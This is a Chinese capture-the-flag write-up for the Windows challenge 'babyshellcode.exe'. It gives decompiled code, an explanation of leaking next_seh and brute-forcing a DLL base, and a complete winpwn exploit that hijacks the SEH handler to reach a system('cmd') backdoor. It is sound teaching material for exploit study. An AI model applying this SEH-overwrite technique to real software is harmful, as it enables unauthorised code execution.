保护检查 1 2 3 4 5 6 7 8 9 10 11 12 13 14 Results for : .\babyshellcode.exe Dynamic Base : "Present" ASLR : "Present" High Entropy VA : "NotPresent" Force Integrity : "NotPresent" Isolation : "Present" NX : "Present" SEH : "Present" CFG : "Present" RFG : "NotPresent" SafeSEH : "NotPresent" GS : "Present" Authenticode : "NotPresent" .NET : "NotPresent"
很迷惑,明明检查不出来开了 SafeSEH ,但是大家都说这题开了(?)
程序分析 程序的主逻辑如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 int __cdecl main (int argc, const char **argv, const char **envp) { int v3; char v4; int v5; char v6; char choice[16 ]; char name[16 ]; int v10; init_(); v10 = 0 ; *(_OWORD *)name = 0 i64; puts ("leave your name" ); v3 = 0 ; v4 = getchar(); do { if ( v4 == 10 ) break ; name[v3++] = v4; v4 = getchar(); } while ( v3 != 0x12C ); printf ("hello %s\n" , name); while ( 1 ) { puts ("1. Create shellcode" ); puts ("2. List shellcodes" ); puts ("3. Delete shellcode" ); puts ("4. Run shellcode" ); puts ("5. Set ShellcodeGuard" ); puts ("0. Exit" ); puts ("Option:" ); *(_OWORD *)choice = 0 i64; v5 = 0 ; v6 = getchar(); do { if ( v6 == 10 ) break ; choice[v5++] = v6; v6 = getchar(); } while ( v5 != 15 ); switch ( atoi(choice) ) { case 0 : exit_(); case 1 : add(); break ; case 2 : list (); break ; case 3 : delete(); break ; case 4 : run(); break ; case 5 : set (); break ; default : continue ; } } }
输入的 name
存在栈溢出
其中的 init
会调用 scmgr.dll
中的 init_scmgr
函数,并且将 init_scmgr
的地址进行了不断变化生成了 g_table
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 int init_ () { _DWORD *v0; FILE *v1; FILE *v2; int v3; v0 = malloc (0x80 u); v1 = _acrt_iob_func(1u ); setvbuf(v1, 0 , 4 , 0 ); v2 = _acrt_iob_func(0 ); setvbuf(v2, 0 , 4 , 0 ); if ( init_scmgr() < 0 ) { puts ("error to init scmgr!" ); exit (0 ); } v3 = 1 ; *v0 = init_scmgr; do { v0[v3] = 69069 * v0[v3 - 1 ]; ++v3; } while ( v3 < 32 ); dword_40544C = 0 ; qmemcpy(&g_table, v0, 0x80 u); free (v0); true = 1 ; puts ("Hey, Welcome to shellcode test system!" ); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int init_scmgr () { LPVOID v0; int result; struct _SYSTEM_INFO SystemInfo ; GetSystemInfo(&SystemInfo); dword_10003018 = SystemInfo.dwPageSize; dword_10003390 = 20 * SystemInfo.dwPageSize; v0 = VirtualAlloc(0 , 20 * SystemInfo.dwPageSize, 0x1000 u, 0x40 u); dword_1000338C = (int )v0; if ( v0 ) { sub_10001020("Global memory alloc at %p\n" , (char )v0); result = dword_1000338C; dword_10003388 = dword_1000338C; } else { puts ("Error to alloc globalmemory" ); result = -1 ; } return result; }
add
函数会添加 shellcode_chunk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 int add () { int v0; char v1; int size; int chunk; int idx; sc *sc_struct; int v7; char v8; int v9; char v10; int v11; int v12; char v13; int v14; int v15; int v16; char description[128 ]; char name[16 ]; __int64 v19; char String[16 ]; *(_OWORD *)name = 0 i64; v19 = 0 i64; memset (description, 0 , sizeof (description)); puts ("shellcode size:" ); *(_OWORD *)String = 0 i64; v0 = 0 ; v1 = getchar(); do { if ( v1 == 10 ) break ; String[v0++] = v1; v1 = getchar(); } while ( v0 != 15 ); size = atoi(String); chunk = allocsc(size); idx = 0 ; v16 = 0 ; while ( *(&Block + idx) ) { v16 = ++idx; if ( idx >= 20 ) goto LABEL_9; } sc_struct = (sc *)operator new(0x10 u); *(&Block + idx) = sc_struct; if ( idx == -1 ) { LABEL_9: puts ("Too much shellcode!" ); return -2 ; } sc_struct->data = chunk; sc_struct->size = size; puts ("shellcode name:" ); v7 = 0 ; v8 = getchar(); do { if ( v8 == 10 ) break ; name[v7++] = v8; v8 = getchar(); } while ( v7 != 20 ); *(_DWORD *)*(&Block + idx) = strdup(name); puts ("shellcode description:" ); v9 = 0 ; v10 = getchar(); do { if ( v10 == 10 ) break ; description[v9++] = v10; v10 = getchar(); } while ( v9 != 100 ); *((_DWORD *)*(&Block + idx) + 3 ) = strdup(description); puts ("shellcode:" ); v11 = (int )*(&Block + idx); v12 = *(_DWORD *)(v11 + 8 ); v15 = *(_DWORD *)(v11 + 4 ); v13 = getchar(); v14 = 0 ; if ( v12 ) { do { *(_BYTE *)(v14 + v15) = v13; ++v14; v13 = getchar(); } while ( v14 != v12 ); idx = v16; } printf ("Create shell code done, shellcode idx=%d\n" , idx); return 0 ; }
结构体也很简单
1 2 3 4 5 6 00000000 sc struc ; (sizeof =0x10 , mappedto_52)00000000 name dd ?00000004 data dd ?00000008 size dd ?0000000 C description dd ?00000010 sc ends
另外 add
也会调用 scmgr.dll
中的 allocsc
函数
1 2 3 4 5 6 7 8 9 10 int __cdecl allocsc (int a1) { int v1; v1 = a1 + dword_10003388; if ( a1 + dword_10003388 >= (unsigned int )(dword_1000338C + dword_10003390) ) return -1 ; dword_10003388 += a1; return v1 - a1; }
然后是 list
和 delete
,顾名思义就是打印和删除
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 int list () { const char ***v0; char *v1; v0 = (const char ***)&Block; do { if ( *v0 ) { puts (**v0); puts ((*v0)[3 ]); v1 = (char *)(*v0)[1 ]; if ( (*v0)[2 ] ) { do printf ("\\x%hhx" , *v1++) ; while ( v1 - (*v0)[1 ] < (unsigned int )(*v0)[2 ] ); } puts (&byte_40327B); } ++v0; } while ( (int )v0 < (int )&true ); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 int delete () { int v0; char v1; int idx; void **v3; int result; char String[16 ]; puts ("shellcode index:" ); *(_OWORD *)String = 0 i64; v0 = 0 ; v1 = getchar(); do { if ( v1 == 10 ) break ; String[v0++] = v1; v1 = getchar(); } while ( v0 != 15 ); idx = atoi(String); v3 = (void **)*(&Block + idx); if ( v3 ) { free (*v3); free (v3[3 ]); free_(v3); *(&Block + idx) = 0 ; result = 0 ; } else { puts ("invalid index" ); result = -1 ; } return result; }
随后是 run
,会执行 shellcode
,其中 memcpy
有一个栈溢出,但是由于把最开头的 shellcode
设为了 -1
,所以必定会出错,出错就会触发 SEH
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 int run () { int idx; int chunk; int result; _DWORD *shellcodes; char Src[100 ]; CPPEH_RECORD ms_exc; memset (Src, 0 , sizeof (Src)); ms_exc.registration.TryLevel = 0 ; puts ("shellcode index:" ); idx = get_int(); chunk = (int )*(&Block + idx); if ( chunk ) { if ( true ) { shellcodes = *(_DWORD **)(chunk + 4 ); memcpy (Src, shellcodes, *(_DWORD *)(chunk + 8 )); *shellcodes = -1 ; } (*(void (__thiscall **)(_DWORD))(chunk + 4 ))(*(_DWORD *)(chunk + 4 )); if ( true ) memcpy (*((void **)*(&Block + idx) + 1 ), Src, *((_DWORD *)*(&Block + idx) + 2 )); result = 0 ; } else { puts ("invalid index" ); ms_exc.registration.TryLevel = -2 ; result = -1 ; } return result; }
最后是 set
,会调用奇怪的加密方法打印出来加密后的数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 int set () { int v0; char v1; int choice; int v3; int v4; int v5; int v6; int v7; int v8; int v9; char v10; int v12; int v13; int v14; int v15; int v16; char String[16 ]; puts ("1. Disable ShellcodeGuard" ); puts ("2. Enable ShellcodeGuard" ); puts ("Option:" ); *(_OWORD *)String = 0 i64; v0 = 0 ; v1 = getchar(); do { if ( v1 == 10 ) break ; String[v0++] = v1; v1 = getchar(); } while ( v0 != 15 ); choice = atoi(String); if ( choice == 1 ) { v3 = ((int (*)(void ))enc)(); v4 = enc(v3); v5 = enc(v4); v6 = enc(v5); v7 = enc(v6); v8 = enc(v7); printf ("Your challenge code is %x-%x-%x-%x-%x-%x\n" , v8, v12, v13, v14, v15, v16); puts ("challenge response:" ); v9 = 0 ; v10 = getchar(); do { if ( v10 == 10 ) break ; ++v9; v10 = getchar(); } while ( v9 != 20 ); puts ("respose wrong!" ); } else { if ( choice == 2 ) { true = 1 ; return 0 ; } puts ("wrong option" ); } return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int enc () { int v0; int v1; unsigned int v2; int v3; int v4; char v5; v0 = ((_BYTE)dword_40544C - 1 ) & 0x1F ; v2 = g_table[((_BYTE)dword_40544C + 3 ) & 0x1F ] ^ g_table[dword_40544C] ^ ((unsigned int )g_table[((_BYTE)dword_40544C + 3 ) & 0x1F ] >> 8 ); dword_4054D0 = g_table[v0]; v1 = dword_4054D0; dword_4054D4 = v2; v3 = g_table[((_BYTE)dword_40544C + 10 ) & 0x1F ]; v4 = g_table[((_BYTE)dword_40544C - 8 ) & 0x1F ] ^ v3 ^ ((v3 ^ (32 * g_table[((_BYTE)dword_40544C - 8 ) & 0x1F ])) << 14 ); v5 = dword_40544C; dword_4054D8 = v4; g_table[dword_40544C] = v2 ^ v4; g_table[v0] = v1 ^ v2 ^ v4 ^ ((v2 ^ (16 * (v1 ^ (4 * v4)))) << 7 ); dword_40544C = (v5 - 1 ) & 0x1F ; return g_table[dword_40544C]; }
同时 scmgr.dll
中也有 getshell_test
函数,看样子是一个后门
1 2 3 4 5 int getshell_test () { system("cmd" ); return 0 ; }
漏洞利用 程序虽然可以执行 shellcode
,但是必定会执行出错触发 SEH
,我们可以通过 name
的栈溢出泄露数据,然后在 run
的栈溢出劫持 SEH
经过检查 scmgr.dll
是没有开启 SafeSEH
的,所以可以通过它来劫持 SEH ,首先是泄露 next_seh 指针。
在执行 main
之前会执行 __scrt_common_main_seh@@YAHXZ
函数,其中一块是会调用 __SEH_prolog4
函数,其中会将 next_seh
压入栈中,而且并不会更新当前 Exception_Registration
的 seh
的值:
1 2 3 4 5 .text:004023B0 push offset __except_handler4 .text:004023B5 push large dword ptr fs:0 //压入next_seh .text:004023BC mov eax, [esp+8+arg_4] .text:004023C0 mov [esp+8+arg_4], ebp .text:004023C4 lea ebp, [esp+8+arg_4]
所以我们可以使用 name
那里的溢出泄露位于 main
函数栈帧下方的 __SEH_prolog4
的 next_seh
函数
Win10 里面多了一个 Check 函数 ntdll!RtlpIsValidExceptionChain ,这个函数会去获得当前 seh chain 的 prev 域的值,并将其与当前栈上的 next_seh 比较
1 2 3 4 5 payload = "a" * 80 set_name(payload) ru(payload) next_seh = u32(rc(4 )) print (f"[+] next_seh : {hex (next_seh)} " )
之后通过 set
函数得到 backdoor
的地址,这里寻找 scmgr.dll
基地址的时候爆破就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 def get_scmgr_base (check ): for base in range (0x60000000 , 0x80000000 , 0x10000 ): init_scmgr = base + 0x1090 g_table = [init_scmgr] for i in range (31 ): init_scmgr = (init_scmgr * 69069 ) & 0xffffffff g_table.append(init_scmgr) g_index = 0 v0 = (g_index-1 ) & 0x1f v2 = g_table[(g_index + 3 ) & 0x1f ] ^ g_table[g_index] ^ (g_table[(g_index + 3 ) & 0x1f ] >> 8 ) v1 = g_table[v0] v3 = g_table[(g_index + 10 ) & 0x1F ] v4 = g_table[(g_index - 8 ) & 0x1F ] ^ v3 ^ ((v3 ^ (32 * g_table[(g_index - 8 ) & 0x1F ])) << 14 ) v4 = v4 & 0xffffffff g_table[g_index] = v2 ^ v4 g_table[v0] = (v1 ^ v2 ^ v4 ^ ((v2 ^ (16 * (v1 ^ 4 * v4))) << 7 )) & 0xffffffff g_index = (g_index - 1 ) & 0x1F if (g_table[g_index] == check): print (f"[+] base: {hex (base)} " ) return base + 0x1100 set (1 )ru("Your challenge code is " ) check = ru("\r\n" ).split("-" )[5 ][:8 ] check = int (check, 16 ) backdoor_addr = get_scmgr_base(check) print (f"[+] backdoor_addr : {hex (backdoor_addr)} " )sla("challenge response:\r\n" ,"Ver" )
最后恢复 next_seh
并覆写 handle
指针到后门函数来 getshell
1 2 3 4 5 6 7 payload = "" payload += "a" * 0x70 payload += p32(next_seh) payload += p32(backdoor_addr) add(payload,"a" ,"a" ) run(0 )
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 from winpwn import *context.log_level = "debug" def rc (num ): return r.recv(num) def ru (prefix,drop = True ): data = r.recvuntil(prefix) if drop: return data[:-len (prefix)] else : return data def sd (content ): r.send(content) def sl (content ): r.sendline(content) def sda (prefix,content ): ru(prefix) sd(content) def sla (prefix,content ): ru(prefix) sl(content) def set_name (name ): sla("leave your name\r\n" ,name) def cmd (idx ): sla("Option:\r\n" ,str (idx)) def add (sc,name,description ): cmd(1 ) sla("shellcode size:\r\n" ,str (len (sc))) sla("shellcode name:\r\n" ,name) sla("shellcode description:\r\n" ,description) sla("shellcode:\r\n" ,sc) def list (): cmd(2 ) def free (idx ): cmd(3 ) sla("shellcode index:\r\n" ,str (idx)) def run (idx ): cmd(4 ) sla("shellcode index:\r\n" ,str (idx)) def set (choice ): cmd(5 ) cmd(choice) def get_scmgr_base (check ): for base in range (0x60000000 , 0x80000000 , 0x10000 ): init_scmgr = base + 0x1090 g_table = [init_scmgr] for i in range (31 ): init_scmgr = (init_scmgr * 69069 ) & 0xffffffff g_table.append(init_scmgr) g_index = 0 v0 = (g_index-1 ) & 0x1f v2 = g_table[(g_index + 3 ) & 0x1f ] ^ g_table[g_index] ^ (g_table[(g_index + 3 ) & 0x1f ] >> 8 ) v1 = g_table[v0] v3 = g_table[(g_index + 10 ) & 0x1F ] v4 = g_table[(g_index - 8 ) & 0x1F ] ^ v3 ^ ((v3 ^ (32 * g_table[(g_index - 8 ) & 0x1F ])) << 14 ) v4 = v4 & 0xffffffff g_table[g_index] = v2 ^ v4 g_table[v0] = (v1 ^ v2 ^ v4 ^ ((v2 ^ (16 * (v1 ^ 4 * v4))) << 7 )) & 0xffffffff g_index = (g_index - 1 ) & 0x1F if (g_table[g_index] == check): print (f"[+] base: {hex (base)} " ) return base + 0x1100 r = process("./babyshellcode.exe" ) payload = "a" * 80 set_name(payload) ru(payload) next_seh = u32(rc(4 )) print (f"[+] next_seh : {hex (next_seh)} " )set (1 )ru("Your challenge code is " ) check = ru("\r\n" ).split("-" )[5 ][:8 ] check = int (check, 16 ) backdoor_addr = get_scmgr_base(check) print (f"[+] backdoor_addr : {hex (backdoor_addr)} " )sla("challenge response:\r\n" ,"Ver" ) payload = "" payload += "a" * 0x70 payload += p32(next_seh) payload += p32(backdoor_addr) add(payload,"a" ,"a" ) run(0 ) r.interactive()